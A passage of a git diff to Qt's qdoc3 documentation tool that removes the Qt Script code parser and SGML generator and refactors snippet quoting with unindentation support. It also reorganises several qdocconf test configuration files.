(wrapperClass != 0) { - children = wrapperClass->childNodes(); - - funcBlackList.insert(wrapperClass->name()); - funcBlackList.insert("~" + wrapperClass->name()); - } - children += qtClass->childNodes(); - - for (int pass = 0; pass < 2; pass++) { - NodeList::ConstIterator c = children.begin(); - while (c != children.end()) { - if ((*c)->access() != Node::Private && - (*c)->status() == Node::Commendable) { - if (pass == 0) { - if ((*c)->type() == Node::Enum) { - EnumNode *enume = (EnumNode *) *c; - quickifyEnum(quickClass, enume); - } - else if ((*c)->type() == Node::Property) { - if (!propertyBlackList.contains((*c)->name())) { - PropertyNode *property = (PropertyNode *) *c; - quickifyProperty(quickClass, qtClass, property); - if (!property->getters().isEmpty()) - funcBlackList.insert(property->getters().first()->name()); - if (!property->setters().isEmpty()) - funcBlackList.insert(property->setters().first()->name()); - if (!property->resetters().isEmpty()) - funcBlackList.insert(property->resetters().first()->name()); - propertyBlackList.insert(property->name()); - } - } - } - else if ((*c)->type() == Node::Function) { - FunctionNode *func = (FunctionNode *) *c; - quickifyFunction(quickClass, qtClass, func, - funcBlackList.contains((*c)->name()) && - func->parameters().count() < 2); - } - } - ++c; - } - } - setQtDoc(quickClass, qtClass->doc()); - classesWithNoQuickDoc.insert(quickClass->name(), quickClass); -} - -void QsCodeParser::quickifyEnum(ClassNode *quickClass, EnumNode *enume) -{ - EnumNode *quickEnum = new EnumNode(quickClass, enume->name()); - quickEnum->setLocation(enume->location()); -#if 0 // ### not yet - quickEnum->setAccess(Node::Protected); -#endif - - QList<EnumItem>::ConstIterator it = enume->items().begin(); - while (it != enume->items().end()) { - QString name = (*it).name(); - QString value = (*it).value(); - quickEnum->addItem(EnumItem(name, value)); - ++it; - } - setQtDoc(quickEnum, enume->doc()); -} - -void QsCodeParser::quickifyFunction(ClassNode *quickClass, ClassNode *qtClass, - FunctionNode *func, bool onBlackList) -{ - if (func->metaness() == FunctionNode::Dtor) - return; - - FunctionNode *kernelFunc = findKernelFunction( - QStringList() << quickClass->name(), func->name()); - - QString quickName = func->name(); - if (func->metaness() == FunctionNode::Ctor) - quickName = quickClass->name(); - FunctionNode *quickFunc = new FunctionNode(quickClass, quickName); - quickFunc->setLocation(func->location()); - - if (onBlackList) { - quickFunc->setAccess(Node::Protected); - } - else { - if (kernelFunc != 0 && func->numOverloads() == 1 && - (func->parameters().count() == 0 || - func->parameters().last().defaultValue().isEmpty())) { - kernelFunc->setAccess(Node::Private); - } - else { - if (func->metaness() == FunctionNode::Plain) - quickFunc->setAccess(Node::Protected); - } - } - - quickFunc->setReturnType(cpp2qs.convertedDataType(qsTre, - func->returnType())); - if (func->metaness() != FunctionNode::Slot) - quickFunc->setMetaness(func->metaness()); - quickFunc->setVirtualness(FunctionNode::ImpureVirtual); - quickFunc->setOverload(func->isOverload()); - - QList<Parameter>::ConstIterator q = func->parameters().begin(); - while (q != func->parameters().end()) { - QString dataType = cpp2qs.convertedDataType(qsTre, (*q).leftType(), - (*q).rightType()); - if (dataType.isEmpty()) { - dataType = "UNKNOWN"; - quickFunc->setAccess(Node::Private); - } - Parameter param(dataType, "", (*q).name(), - (*q).defaultValue().isEmpty() ? "" : "undefined"); - quickFunc->addParameter(param); - ++q; - } - - if (func->doc().isEmpty()) { - if (func->parent() != (InnerNode *) qtClass) { - func = qtClass->findFunctionNode(func); - if (func != 0) - setQtDoc(quickFunc, func->doc()); - } - } - else { - setQtDoc(quickFunc, func->doc()); - } -} - -void QsCodeParser::quickifyProperty(ClassNode *quickClass, - ClassNode * /* qtClass */, - PropertyNode *property) -{ - PropertyNode *quickProperty = new PropertyNode(quickClass, - property->name()); - quickProperty->setLocation(property->location()); - quickProperty->setDataType(cpp2qs.convertedDataType(qsTre, - property->dataType())); -#if 0 - quickProperty->setGetter(property->getter()); - quickProperty->setSetter(property->setter()); - quickProperty->setResetter(property->resetter()); -#endif - quickProperty->setStored(property->isStored()); - quickProperty->setDesignable(property->isDesignable()); - - setQtDoc(quickProperty, property->doc()); -} - -QString QsCodeParser::quickifiedDoc(const QString& source) -{ - QString result; - int i = 0; - - while (i < (int) source.length()) { - if (leftWordBoundary(source, i)) { - if (source[i] == 'Q') { - if (source[i + 1] == 'C' && source.mid(i, 8) == "QCString") { - i += 2; - } - else { - int end = i + 1; - while (isWord(source[end])) - ++end; - if (!classesWithNoQ.contains( - source.mid(i + 1, end - (i + 1)))) - result += "Q"; - i++; - } - } - else if (source[i] == 'T' && source.mid(i, 4) == "TRUE" && - rightWordBoundary(source, i + 4)) { - result += "\\c{true}"; - i += 4; - } - else if (source[i] == 'F' && source.mid(i, 5) == "FALSE" && - rightWordBoundary(source, i + 5)) { - result += "\\c{false}"; - i += 5; - } - else if (source[i] == 'c' && source.mid(i, 6) == "const ") { - i += 6; - } - else { - result += source[i++]; - } - } - else if ((source[i] == ':' && source[i + 1] == ':') || - (source[i] == '-' && source[i + 1] == '>')) { - result += '.'; - i += 2; - } - else if (source[i] == '\\') { - // ### make independent of the command name - if (source.mid(i, 5) == "\\code") { - do { - result += source[i++]; - } while (source[i - 1] != '\n'); - - int begin = i; - int end = source.indexOf("\\endcode", i); - if (end != -1) { - QString code = source.mid(begin, end - begin); - result += cpp2qs.convertedCode(qsTre, code, - classesWithNoQ); - i = end; - } - } - else { - result += source[i++]; - } - } - else { - result += source[i++]; - } - } - - QList<QRegExp>::ConstIterator b = replaceBefores.begin(); - QStringList::ConstIterator a = replaceAfters.begin(); - while (a != replaceAfters.end()) { - result.replace(*b, *a); - ++b; - ++a; - } - return result; -} - -void QsCodeParser::setQtDoc(Node *quickNode, const Doc& doc) -{ - if (!doc.isEmpty()) { - Doc quickDoc(doc.location(), doc.location(), - quickifiedDoc(doc.source()), - CppCodeParser::topicCommands() + - CppCodeParser::otherMetaCommands()); - quickNode->setDoc(quickDoc, true); - } -} - -void QsCodeParser::setQuickDoc(Node *quickNode, - const Doc& doc, - const QStringList& qtParams, - const QStringList& quickParams) -{ - QRegExp quickifyCommand("\\\\" + COMMAND_QUICKIFY + "([^\n]*)(?:\n|$)"); - - if (quickNode->type() == Node::Function) { - FunctionNode *quickFunc = (FunctionNode *) quickNode; - quickFunc->setOverload(false); - } - - if (doc.metaCommandsUsed().contains(COMMAND_QUICKIFY)) { - QString source = doc.source(); - int pos = source.indexOf(quickifyCommand); - if (pos != -1) { - QString quickifiedSource = quickNode->doc().source(); - if (!qtParams.isEmpty() && qtParams != quickParams) - renameParameters(quickifiedSource, doc, qtParams, - quickParams); - applyReplacementList(quickifiedSource, doc); - - do { - QString extract = quickifiedSource; - QString arg = quickifyCommand.cap(1).simplified(); - if (!arg.isEmpty()) { - if (arg.startsWith("/") && arg.endsWith("/") && - arg.length() > 2) { - QString pattern = arg.mid(1, arg.length() - 2); - extractRegExp(QRegExp(pattern), extract, doc); - } - else { - extractTarget(arg, extract, doc); - } - } - source.replace(pos, quickifyCommand.matchedLength(), extract); - pos += extract.length(); - } while ((pos = source.indexOf(quickifyCommand, pos)) != -1); - - QRegExp quickcodeRegExp( - "\\\\" + COMMAND_QUICKCODE + "(.*)\\\\" + - COMMAND_ENDQUICKCODE); - quickcodeRegExp.setMinimal(true); - source.replace(quickcodeRegExp, ""); - } - - Doc quickDoc(doc.location(), - doc.location(), - source, - (CppCodeParser::topicCommands() + topicCommands() + - CppCodeParser::otherMetaCommands()) << COMMAND_REPLACE); - quickNode->setDoc(quickDoc, true); - processOtherMetaCommands(quickDoc, quickNode); - } - else { - quickNode->setDoc(doc, true); - processOtherMetaCommands(doc, quickNode); - } -} - -bool QsCodeParser::makeFunctionNode(const QString& synopsis, - QStringList *parentPathPtr, - FunctionNode **funcPtr) -{ - QRegExp funcRegExp( - "\\s*([A-Za-z0-9_]+)\\.([A-Za-z0-9_]+)\\s*\\((" + - balancedParens + - ")\\)(?:\\s*:\\s*([A-Za-z0-9_]+))?\\s*"); - QRegExp paramRegExp( - "\\s*(\\[)?\\s*(?:([A-Za-z0-9_]+)\\s*:\\s*)?" - "([A-Za-z0-9_]+|\\.\\.\\.)\\s*(\\[)?[\\s\\]]*"); - - if (!funcRegExp.exactMatch(synopsis)) - return false; - - ClassNode *classe = (ClassNode*) - qsTre->findNode(QStringList(funcRegExp.cap(1)),Node::Class); - if (classe == 0) - return false; - - FunctionNode *clone = new FunctionNode(0, funcRegExp.cap(2)); - bool optional = false; - - QString paramStr = funcRegExp.cap(3); - QStringList params = paramStr.split(","); - QStringList::ConstIterator p = params.begin(); - while (p != params.end()) { - if (paramRegExp.exactMatch(*p)) { - if (!paramRegExp.cap(1).isEmpty()) - optional = true; - clone->addParameter(Parameter(paramRegExp.cap(3), - "", - paramRegExp.cap(2), - optional ? "undefined" : "")); - if (!paramRegExp.cap(4).isEmpty()) - optional = true; - } - else { - delete clone; - return false; - } - ++p; - } - QString returnType = funcRegExp.cap(4); - if (!returnType.isEmpty()) - clone->setReturnType(returnType); - if (parentPathPtr != 0) - *parentPathPtr = QStringList() << classe->name(); - if (funcPtr != 0) { - *funcPtr = clone; - } - else { - delete clone; - } - return true; -} - -bool QsCodeParser::isWord(QChar ch) -{ - return ch.isLetterOrNumber() || ch == QChar('_'); -} - -bool QsCodeParser::leftWordBoundary(const QString& str, int pos) -{ - return !isWord(str[pos - 1]) && isWord(str[pos]); -} - -bool QsCodeParser::rightWordBoundary(const QString& str, int pos) -{ - return isWord(str[pos - 1]) && !isWord(str[pos]); -} - -QT_END_NAMESPACE diff --git a/tools/qdoc3/qscodeparser.h b/tools/qdoc3/qscodeparser.h deleted file mode 100644 index 35b05e1..0000000 --- a/tools/qdoc3/qscodeparser.h +++ /dev/null @@ -1,128 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - qscodeparser.h -*/ - -#ifndef QSCODEPARSER_H -#define QSCODEPARSER_H - -#include "cppcodeparser.h" -#include "cpptoqsconverter.h" - -QT_BEGIN_NAMESPACE - -class QsCodeParser : public CppCodeParser -{ - public: - QsCodeParser(Tree *cppTree); - ~QsCodeParser(); - - virtual void initializeParser(const Config& config); - virtual void terminateParser(); - virtual QString language(); - virtual QString headerFileNameFilter(); - virtual QString sourceFileNameFilter(); - virtual void parseHeaderFile(const Location& location, - const QString& filePath, Tree *tree); - virtual void parseSourceFile(const Location& location, - const QString& filePath, Tree *tree); - virtual void doneParsingHeaderFiles(Tree *tree); - virtual void doneParsingSourceFiles(Tree *tree); - - FunctionNode *findFunctionNode(const QString& synopsis, Tree *tree); - - protected: - virtual QSet<QString> topicCommands(); - virtual Node *processTopicCommand(const Doc& doc, const QString& command, - const QString& arg); - virtual QSet<QString> otherMetaCommands(); - virtual void processOtherMetaCommand(const Doc& doc, - const QString& command, - const QString& arg, Node *node); - - private: - ClassNode *tryClass(const QString& className); - FunctionNode *findKernelFunction(const QStringList& parentPath, - const QString& name); - void extractRegExp(const QRegExp& regExp, QString& source, - const Doc& doc); - void extractTarget(const QString& target, QString& source, - const Doc& doc); - void renameParameters(QString& source, const Doc& doc, - const QStringList& qtNames, - const QStringList& quickNames); - void applyReplacementList(QString& source, const Doc& doc); - void quickifyClass(ClassNode *quickClass); - void quickifyEnum(ClassNode *quickClass, EnumNode *enume); - void quickifyFunction(ClassNode *quickClass, ClassNode *qtClass, - FunctionNode *func, bool onBlackList); - void quickifyProperty(ClassNode *quickClass, ClassNode *qtClass, - PropertyNode *property); - QString quickifiedDoc(const QString& source); - void setQtDoc(Node *quickNode, const Doc& doc); - void setQuickDoc(Node *quickNode, const Doc& doc, - const QStringList& qtParams = QStringList(), - const QStringList& quickParams = QStringList()); - bool makeFunctionNode(const QString& synopsis, QStringList *parentPathPtr, - FunctionNode **funcPtr); - - static bool isWord(QChar ch); - static bool leftWordBoundary(const QString& str, int pos); - static bool rightWordBoundary(const QString& str, int pos); - - QMap<QString,Node::Type> nodeTypeMap; - QMap<QString,Node*> classesWithNoQuickDoc; - QList<QRegExp> replaceBefores; - QStringList replaceAfters; - QSet<QString> classesWithNoQ; - Tree* cppTre; - Tree* qsTre; - QRegExp replaceRegExp; - CppToQsConverter cpp2qs; - - static int tabSize; -}; - -QT_END_NAMESPACE - -#endif diff --git a/tools/qdoc3/quoter.cpp b/tools/qdoc3/quoter.cpp index 1892f89..dadf67c 100644 --- a/tools/qdoc3/quoter.cpp +++ b/tools/qdoc3/quoter.cpp @@ -41,7 +41,6 @@ #include <qfileinfo.h> #include <qregexp.h> -#include <qdebug.h> #include "quoter.h" @@ -123,9 +122,9 @@ Quoter::Quoter() /* We're going to hard code these delimiters: * C++, Qt, Qt Script, Java: //! [<id>] - * .pro files: + * .pro, .py files: #! [<id>] - * .xq, .xml, .html files: + * .html, .qrc, .ui, .xq, .xml files: <!-- [<id>] --> */ commentHash["pro"] = "#!"; @@ -222,10 +221,13 @@ QString Quoter::quoteSnippet(const Location &docLocation, const QString &identif QString comment = commentForCode(); QString delimiter = comment + QString(" [%1]").arg(identifier); QString t; + int indent = 0; while (!plainLines.isEmpty()) { if (match(docLocation, delimiter, plainLines.first())) { - getLine(); + QString startLine = getLine(); + while (indent < startLine.length() && startLine[indent] == QLatin1Char(' ')) + indent++; break; } getLine(); @@ -233,33 +235,24 @@ QString Quoter::quoteSnippet(const Location &docLocation, const QString &identif while (!plainLines.isEmpty()) { QString line = plainLines.first(); if (match(docLocation, delimiter, line)) { - QString lastLine = getLine(); + QString lastLine = getLine(indent); int dIndex = lastLine.indexOf(delimiter); if (dIndex > 0) { + // The delimiter might be preceded on the line by other + // delimeters, so look for the first comment on the line. QString leading = lastLine.left(dIndex); dIndex = leading.indexOf(comment); if (dIndex != -1) leading = leading.left(dIndex); + if (leading.endsWith(QLatin1String("<@comment>"))) + leading.chop(10); if (!leading.trimmed().isEmpty()) t += leading; } return t; } - // Remove special macros to support Qt namespacing. - if (line.startsWith("QT_BEGIN_NAMESPACE")) { - getLine(); - } else if (line.startsWith("QT_END_NAMESPACE")) { - getLine(); - t += QLatin1Char('\n'); - } else if (!line.startsWith(comment)) { - // Ordinary code - t += getLine(); - } else { - // Normal comments - if (line.contains(QLatin1Char('\n'))) - t += QLatin1Char('\n'); - getLine(); - } + + t += removeSpecialLines(line, comment, indent); } failedAtEnd(docLocation, QString("snippet (%1)").arg(delimiter)); return t; @@ -274,21 +267,7 @@ QString Quoter::quoteTo( const Location& docLocation, const QString& command, if ( pattern.isEmpty() ) { while ( !plainLines.isEmpty() ) { QString line = plainLines.first(); - // Remove special macros to support Qt namespacing. - if (line.startsWith("QT_BEGIN_NAMESPACE")) { - getLine(); - } else if (line.startsWith("QT_END_NAMESPACE")) { - getLine(); - t += QLatin1Char('\n'); - } else if (!line.startsWith(comment)) - // Ordinary code - t += getLine(); - else { - // Normal comments - if (line.contains(QLatin1Char('\n'))) - t += QLatin1Char('\n'); - getLine(); - } + t += removeSpecialLines(line, comment); } } else { while ( !plainLines.isEmpty() ) { @@ -310,7 +289,7 @@ QString Quoter::quoteUntil( const Location& docLocation, const QString& command, return t; } -QString Quoter::getLine() +QString Quoter::getLine(int unindent) { if ( plainLines.isEmpty() ) return QString(); @@ -318,6 +297,11 @@ QString Quoter::getLine() plainLines.removeFirst(); QString t = markedLines.takeFirst(); + int i = 0; + while (i < unindent && i < t.length() && t[i] == QLatin1Char(' ')) + i++; + + t = t.mid(i); t += QLatin1Char('\n'); codeLocation.advanceLines( t.count( QLatin1Char('\n') ) ); return t; @@ -366,4 +350,27 @@ QString Quoter::commentForCode() const return commentHash.value(suffix, "//!"); } +QString Quoter::removeSpecialLines(const QString &line, const QString &comment, int unindent) +{ + QString t; + + // Remove special macros to support Qt namespacing. + QString trimmed = line.trimmed(); + if (trimmed.startsWith("QT_BEGIN_NAMESPACE")) { + getLine(); + } else if (trimmed.startsWith("QT_END_NAMESPACE")) { + getLine(); + t += QLatin1Char('\n'); + } else if (!trimmed.startsWith(comment)) { + // Ordinary code + t += getLine(unindent); + } else { + // Comments + if (line.contains(QLatin1Char('\n'))) + t += QLatin1Char('\n'); + getLine(); + } + return t; +} + QT_END_NAMESPACE diff --git a/tools/qdoc3/quoter.h b/tools/qdoc3/quoter.h index 793d115..6a59ab4 100644 --- a/tools/qdoc3/quoter.h +++ b/tools/qdoc3/quoter.h @@ -70,11 +70,13 @@ public: QString quoteSnippet(const Location &docLocation, const QString &identifier); private: - QString getLine(); + QString getLine(int unindent = 0); void failedAtEnd( const Location& docLocation, const QString& command ); bool match( const Location& docLocation, const QString& pattern, const QString& line ); QString commentForCode() const; + QString removeSpecialLines(const QString &line, const QString &comment, + int unindent = 0); bool silent; bool validRegExp; diff --git a/tools/qdoc3/sgmlgenerator.cpp b/tools/qdoc3/sgmlgenerator.cpp deleted file mode 100644 index 1e2e6c9..0000000 --- a/tools/qdoc3/sgmlgenerator.cpp +++ /dev/null @@ -1,63 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - sgmlgenerator.cpp -*/ - -#include "sgmlgenerator.h" - -QT_BEGIN_NAMESPACE - -SgmlGenerator::SgmlGenerator() -{ -} - -SgmlGenerator::~SgmlGenerator() -{ -} - -QString SgmlGenerator::format() -{ - return "SGML"; -} - -QT_END_NAMESPACE diff --git a/tools/qdoc3/sgmlgenerator.h b/tools/qdoc3/sgmlgenerator.h deleted file mode 100644 index 0e006e9..0000000 --- a/tools/qdoc3/sgmlgenerator.h +++ /dev/null @@ -1,67 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - sgmlgenerator.h -*/ - -#ifndef SGMLGENERATOR_H -#define SGMLGENERATOR_H - -#include "bookgenerator.h" - -QT_BEGIN_NAMESPACE - -class SgmlGenerator : public BookGenerator -{ -public: - SgmlGenerator(); - ~SgmlGenerator(); - - virtual QString format(); - -protected: - // ### -}; - -QT_END_NAMESPACE - -#endif diff --git a/tools/qdoc3/test/compat.qdocconf b/tools/qdoc3/test/compat.qdocconf index 5745ed9..0b59629 100644 --- a/tools/qdoc3/test/compat.qdocconf +++ b/tools/qdoc3/test/compat.qdocconf @@ -1,5 +1,5 @@ -alias.i = e -alias.include = input +alias.i = e +alias.include = input macro.0 = "\\\\0" macro.b = "\\\\b" @@ -27,5 +27,5 @@ macro.img = "\\image" macro.endquote = "\\endquotation" macro.relatesto = "\\relates" -spurious = "Missing comma in .*" \ - "Missing pattern .*" +spurious = "Missing comma in .*" \ + "Missing pattern .*" diff --git a/tools/qdoc3/test/macros.qdocconf b/tools/qdoc3/test/macros.qdocconf index 510a8b3..2262daa 100644 --- a/tools/qdoc3/test/macros.qdocconf +++ b/tools/qdoc3/test/macros.qdocconf @@ -34,3 +34,4 @@ macro.beginfloatleft.HTML = "<div style=\"float: left; margin-right: 2em\">" macro.beginfloatright.HTML = "<div style=\"float: right; margin-left: 2em\">" macro.endfloat.HTML = "</div>" macro.clearfloat.HTML = "<br style=\"clear: both\" />" +macro.emptyspan.HTML = "<span></span>" diff --git a/tools/qdoc3/test/qt-api-only.qdocconf b/tools/qdoc3/test/qt-api-only.qdocconf index cdd7a7c..36637d2 100644 --- a/tools/qdoc3/test/qt-api-only.qdocconf +++ b/tools/qdoc3/test/qt-api-only.qdocconf @@ -1,34 +1,2 @@ include(qt-build-docs.qdocconf) - -# Ensures that the generated index contains a URL that can be used by the -# tools documentation (assistant.qdocconf, designer.qdocconf, linguist.qdocconf, -# qmake.qdocconf). - -url = ./ - -# Ensures that the documentation for the tools is not included in the generated -# .qhp file. - -qhp.Qt.excluded += $QT_SOURCE_TREE/doc/src/development/assistant-manual.qdoc \ - $QT_SOURCE_TREE/doc/src/examples/simpletextviewer.qdoc \ - $QT_SOURCE_TREE/doc/src/development/designer-manual.qdoc \ - $QT_SOURCE_TREE/doc/src/examples/calculatorbuilder.qdoc \ - $QT_SOURCE_TREE/doc/src/examples/calculatorform.qdoc \ - $QT_SOURCE_TREE/doc/src/examples/customwidgetplugin.qdoc \ - $QT_SOURCE_TREE/doc/src/examples/taskmenuextension.qdoc \ - $QT_SOURCE_TREE/doc/src/examples/containerextension.qdoc \ - $QT_SOURCE_TREE/doc/src/examples/worldtimeclockbuilder.qdoc \ - $QT_SOURCE_TREE/doc/src/examples/worldtimeclockplugin.qdoc \ - $QT_SOURCE_TREE/doc/src/internationalization/linguist-manual.qdoc \ - $QT_SOURCE_TREE/doc/src/examples/hellotr.qdoc \ - $QT_SOURCE_TREE/doc/src/examples/arrowpad.qdoc \ - $QT_SOURCE_TREE/doc/src/examples/trollprint.qdoc \ - $QT_SOURCE_TREE/doc/src/development/qmake-manual.qdoc - -# Remove the QML documentation from the Qt-only documentation. - -excludedirs += $QT_SOURCE_TREE/src/imports - -outputdir = $QT_BUILD_TREE/doc-build/html-qt -tagfile = $QT_BUILD_TREE/doc-build/html-qt/qt.tags -base = file:$QT_BUILD_TREE/doc-build/html-qt +include(qt-project-api-only.qdocconf) diff --git a/tools/qdoc3/test/qt-build-docs-online.qdocconf b/tools/qdoc3/test/qt-build-docs-online.qdocconf new file mode 100644 index 0000000..2962845 --- /dev/null +++ b/tools/qdoc3/test/qt-build-docs-online.qdocconf @@ -0,0 +1,2 @@ +include(qt-project.qdocconf) +include(qt-html-templates-online.qdocconf) diff --git a/tools/qdoc3/test/qt-build-docs.qdocconf b/tools/qdoc3/test/qt-build-docs.qdocconf index e642559..4dbe1cd 100644 --- a/tools/qdoc3/test/qt-build-docs.qdocconf +++ b/tools/qdoc3/test/qt-build-docs.qdocconf @@ -1,151 +1,2 @@ -include(compat.qdocconf) -include(macros.qdocconf) -include(qt-cpp-ignore.qdocconf) +include(qt-project.qdocconf) include(qt-html-templates.qdocconf) -include(qt-defines.qdocconf) - -project = Qt -description = Qt Reference Documentation -url = http://qt.nokia.com/doc/4.8 - -sourceencoding = UTF-8 -outputencoding = UTF-8 -naturallanguage = en_US - -qhp.projects = Qt - -qhp.Qt.file = qt.qhp -qhp.Qt.namespace = com.trolltech.qt.480 -qhp.Qt.virtualFolder = qdoc -qhp.Qt.indexTitle = Qt Reference Documentation -qhp.Qt.indexRoot = - -# Files not referenced in any qdoc file (last four are needed by qtdemo) -# See also extraimages.HTML -qhp.Qt.extraFiles = index.html \ - images/bg_l.png \ - images/bg_l_blank.png \ - images/bg_ll_blank.png \ - images/bg_ul_blank.png \ - images/header_bg.png \ - images/bg_r.png \ - images/box_bg.png \ - images/breadcrumb.png \ - images/bullet_gt.png \ - images/bullet_dn.png \ - images/bullet_sq.png \ - images/bullet_up.png \ - images/arrow_down.png \ - images/feedbackground.png \ - images/horBar.png \ - images/page.png \ - images/page_bg.png \ - images/sprites-combined.png \ - images/spinner.gif \ - images/stylesheet-coffee-plastique.png \ - images/taskmenuextension-example.png \ - images/coloreditorfactoryimage.png \ - images/dynamiclayouts-example.png \ - scripts/functions.js \ - scripts/jquery.js \ - scripts/narrow.js \ - scripts/superfish.js \ - style/narrow.css \ - style/superfish.css \ - style/style_ie6.css \ - style/style_ie7.css \ - style/style_ie8.css \ - style/style.css - - - -qhp.Qt.filterAttributes = qt 4.8.0 qtrefdoc -qhp.Qt.customFilters.Qt.name = Qt 4.8.0 -qhp.Qt.customFilters.Qt.filterAttributes = qt 4.8.0 -qhp.Qt.subprojects = classes qmlelements overviews examples -qhp.Qt.subprojects.classes.title = Classes -qhp.Qt.subprojects.classes.indexTitle = All Classes -qhp.Qt.subprojects.classes.selectors = class fake:headerfile -qhp.Qt.subprojects.classes.sortPages = true -qhp.Qt.subprojects.qmlelements.title = QML Elements -qhp.Qt.subprojects.qmlelements.indexTitle = QML Elements -qhp.Qt.subprojects.qmlelements.selectors = fake:qmlclass -qhp.Qt.subprojects.qmlelements.sortPages = true -qhp.Qt.subprojects.overviews.title = Overviews -qhp.Qt.subprojects.overviews.indexTitle = All Overviews and HOWTOs -qhp.Qt.subprojects.overviews.selectors = fake:page,group,module -qhp.Qt.subprojects.examples.title = Tutorials and Examples -qhp.Qt.subprojects.examples.indexTitle = Qt Examples -qhp.Qt.subprojects.examples.selectors = fake:example - -language = Cpp - -headerdirs = $QT_SOURCE_TREE/src \ - $QT_SOURCE_TREE/extensions/activeqt \ - $QT_SOURCE_TREE/tools/assistant/lib \ - $QT_SOURCE_TREE/tools/assistant/compat/lib \ - $QT_SOURCE_TREE/tools/designer/src/uitools \ - $QT_SOURCE_TREE/tools/designer/src/lib/extension \ - $QT_SOURCE_TREE/tools/designer/src/lib/sdk \ - $QT_SOURCE_TREE/tools/designer/src/lib/uilib \ - $QT_SOURCE_TREE/tools/qtestlib/src \ - $QT_SOURCE_TREE/tools/qdbus/src -sourcedirs = $QT_SOURCE_TREE/src \ - $QT_SOURCE_TREE/doc/src \ - $QT_SOURCE_TREE/extensions/activeqt \ - $QT_SOURCE_TREE/tools/assistant/lib \ - $QT_SOURCE_TREE/tools/assistant/compat/lib \ - $QT_SOURCE_TREE/tools/designer/src/uitools \ - $QT_SOURCE_TREE/tools/designer/src/lib/extension \ - $QT_SOURCE_TREE/tools/designer/src/lib/sdk \ - $QT_SOURCE_TREE/tools/designer/src/lib/uilib \ - $QT_SOURCE_TREE/tools/qtestlib/src \ - $QT_SOURCE_TREE/tools/qdbus - -excludedirs = $QT_SOURCE_TREE/src/3rdparty/clucene \ - $QT_SOURCE_TREE/src/3rdparty/des \ - $QT_SOURCE_TREE/src/3rdparty/freetype \ - $QT_SOURCE_TREE/src/3rdparty/harfbuzz \ - $QT_SOURCE_TREE/src/3rdparty/kdebase \ - $QT_SOURCE_TREE/src/3rdparty/libconninet \ - $QT_SOURCE_TREE/src/3rdparty/libjpeg \ - $QT_SOURCE_TREE/src/3rdparty/libmng \ - $QT_SOURCE_TREE/src/3rdparty/libpng \ - $QT_SOURCE_TREE/src/3rdparty/libtiff \ - $QT_SOURCE_TREE/src/3rdparty/md4 \ - $QT_SOURCE_TREE/src/3rdparty/md5 \ - $QT_SOURCE_TREE/src/3rdparty/patches \ - $QT_SOURCE_TREE/src/3rdparty/sha1 \ - $QT_SOURCE_TREE/src/3rdparty/sqlite \ - $QT_SOURCE_TREE/src/3rdparty/webkit/JavaScriptCore \ - $QT_SOURCE_TREE/src/3rdparty/webkit/WebCore \ - $QT_SOURCE_TREE/src/3rdparty/wintab \ - $QT_SOURCE_TREE/src/3rdparty/zlib \ - $QT_SOURCE_TREE/src/3rdparty/phonon/gstreamer \ - $QT_SOURCE_TREE/src/3rdparty/phonon/ds9 \ - $QT_SOURCE_TREE/src/3rdparty/phonon/qt7 \ - $QT_SOURCE_TREE/src/3rdparty/phonon/mmf \ - $QT_SOURCE_TREE/src/3rdparty/phonon/waveout \ - $QT_SOURCE_TREE/doc/src/snippets \ - $QT_SOURCE_TREE/doc/src/ja_JP \ - $QT_SOURCE_TREE/doc/src/zh_CN - -sources.fileextensions = 